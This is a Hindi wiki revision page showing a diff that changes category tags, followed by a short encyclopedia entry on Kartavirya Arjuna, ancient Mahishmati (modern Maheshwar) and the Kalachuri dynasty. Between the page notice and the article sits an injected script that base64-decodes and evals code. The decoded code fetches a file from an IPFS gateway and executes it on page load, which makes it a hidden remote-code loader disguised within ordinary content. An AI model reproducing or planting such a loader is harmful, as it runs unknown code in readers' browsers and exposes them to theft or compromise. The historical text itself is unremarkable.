"कार्तवीर्य अर्जुन" के अवतरणों में अंतर

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
नेविगेशन पर जाएँ खोज पर जाएँ
छो (Text replace - '[[श्रेणी:' to '[[category:')
छो (Text replace - '[[category' to '[[Category')
पंक्ति १०: पंक्ति १०:
  
  
[[category:कोश]]
+
[[Category:कोश]]
[[category:पौराणिक इतिहास]]
+
[[Category:पौराणिक इतिहास]]
[[category:इतिहास-कोश]]
+
[[Category:इतिहास-कोश]]
 
__INDEX__
 
__INDEX__

१७:०१, ४ मार्च २०१० का अवतरण


Logo.jpg पन्ना बनने की प्रक्रिया में है। आप इसको तैयार कर सकते हैं। हिंदी (देवनागरी) टाइप की सुविधा संपादन पन्ने पर ही उसके नीचे उपलब्ध है।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

कार्तवीर्य अर्जुन / Kartiyaveer Arjun

  • इतिहास प्रसिद्ध सम्राट कार्तवीर्य अर्जुन की प्राचीन राजधानी महिष्मति ही आधुनिक महेश्वर है ।
  • इसका उल्लेख रामायण तथा महाभारत में भी मिलता है । यह वंश पुराणों में प्रसिद्ध हैहयवंशी कार्तवीर्य अर्जुन की परंपरा में माना जाता है ।
  • इसके संस्थापक महाराज कोक्कल ने (जबलपुर के पास) त्रिपुरी को अपनी राजधानी बनाया, इसलिए यह वंश त्रिपुरी के कलचुरियों के नाम से विख्यात है ।
  • कलचुरियों ने लक्ष्‍मणदेव, गंगेयदेव, कर्ण, गयाकर्ण, नरसिंह, जयसिंह आदि का शासनकाल समृद्धिपूर्ण माना जाता है । इन्होंने 500 वर्ष तक शासन किया जिसे सन 1200 के आसपास देवगढ़ के राजा ने समाप्त कर दिया और फिर चंदेलों के अधीन आया ।
  • हर्षवर्धन के समय चंदेल राज्य एक छोटी सी इकाई थी परंतु उसके बाद यह विस्तार पाकर दसवीं शताब्दी तक एक शक्तिशाली राज्य बन गया ।